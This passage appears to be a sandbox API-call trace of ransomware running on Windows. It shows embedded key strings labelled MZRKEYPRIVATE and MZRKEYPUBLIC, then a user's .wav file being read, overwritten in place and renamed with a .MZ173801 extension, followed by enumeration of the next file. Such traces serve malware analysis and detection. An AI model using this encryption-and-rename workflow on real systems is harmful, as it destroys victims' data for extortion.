8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0158.691] GetCurrentThreadId () returned 0xab4 [0158.691] GetCurrentThreadId () returned 0xab4 [0158.691] GetCurrentThreadId () returned 0xab4 [0158.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24f8bdc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.692] GetCurrentThreadId () returned 0xab4 [0158.692] GetCurrentThreadId () returned 0xab4 [0158.692] GetCurrentThreadId () returned 0xab4 [0158.692] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\Dzl1T_E T7Ch1n.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\dzl1t_e t7ch1n.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0158.692] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0158.692] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0158.692] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xac27 [0158.692] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0158.692] ReadFile (in: hFile=0x290, lpBuffer=0x25009e0, nNumberOfBytesToRead=0xac27, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x25009e0*, lpNumberOfBytesRead=0x19f480*=0xac27, lpOverlapped=0x0) returned 1 [0158.693] CloseHandle (hObject=0x290) returned 1 [0158.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\Dzl1T_E T7Ch1n.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\dzl1t_e t7ch1n.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0158.695] WriteFile (in: hFile=0x290, lpBuffer=0x250ca10*, nNumberOfBytesToWrite=0xac27, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x250ca10*, lpNumberOfBytesWritten=0x19f48c*=0xac27, lpOverlapped=0x0) returned 1 [0158.696] CloseHandle (hObject=0x290) returned 1 [0158.698] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\Dzl1T_E T7Ch1n.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\dzl1t_e t7ch1n.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\Dzl1T_E T7Ch1n.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\dzl1t_e t7ch1n.wav.mz173801")) returned 1 [0158.698] GetCurrentThreadId () returned 0xab4 [0158.698] GetCurrentThreadId () returned 0xab4 [0158.698] GetCurrentThreadId () returned 0xab4 [0158.698] GetCurrentThreadId () returned 0xab4 [0158.698] GetCurrentThreadId () returned 0xab4 [0158.698] GetCurrentThreadId () returned 0xab4 [0158.699] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f409b0, ftCreationTime.dwHighDateTime=0x1d5e1db, ftLastAccessTime.dwLowDateTime=0x54964cb0, ftLastAccessTime.dwHighDateTime=0x1d5e268, ftLastWriteTime.dwLowDateTime=0x54964cb0, ftLastWriteTime.dwHighDateTime=0x1d5e268, nFileSizeHigh=0x0, nFileSizeLow=0x18448, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="eOmjS8.wav", cAlternateFileName="")) returned 1 [0158.699] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.699] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\eOmjS8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\eomjs8.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f409b0, ftCreationTime.dwHighDateTime=0x1d5e1db, ftLastAccessTime.dwLowDateTime=0x54964cb0, ftLastAccessTime.dwHighDateTime=0x1d5e268, ftLastWriteTime.dwLowDateTime=0x54964cb0, ftLastWriteTime.dwHighDateTime=0x1d5e268, nFileSizeHigh=0x0, nFileSizeLow=0x18448)) returned 1 [0158.699] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\eOmjS8.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\eomjs8.wav")) returned 0x20 [0158.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\eOmjS8.wav", dwFileAttributes=0x80) returned 1 [0158.700] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.700] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24e7b7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.701] GetCurrentThreadId () returned 0xab4 [0158.701] GetCurrentThreadId () returned 0xab4 [0158.701] GetCurrentThreadId () returned 0xab4 [0158.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24f8bdc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 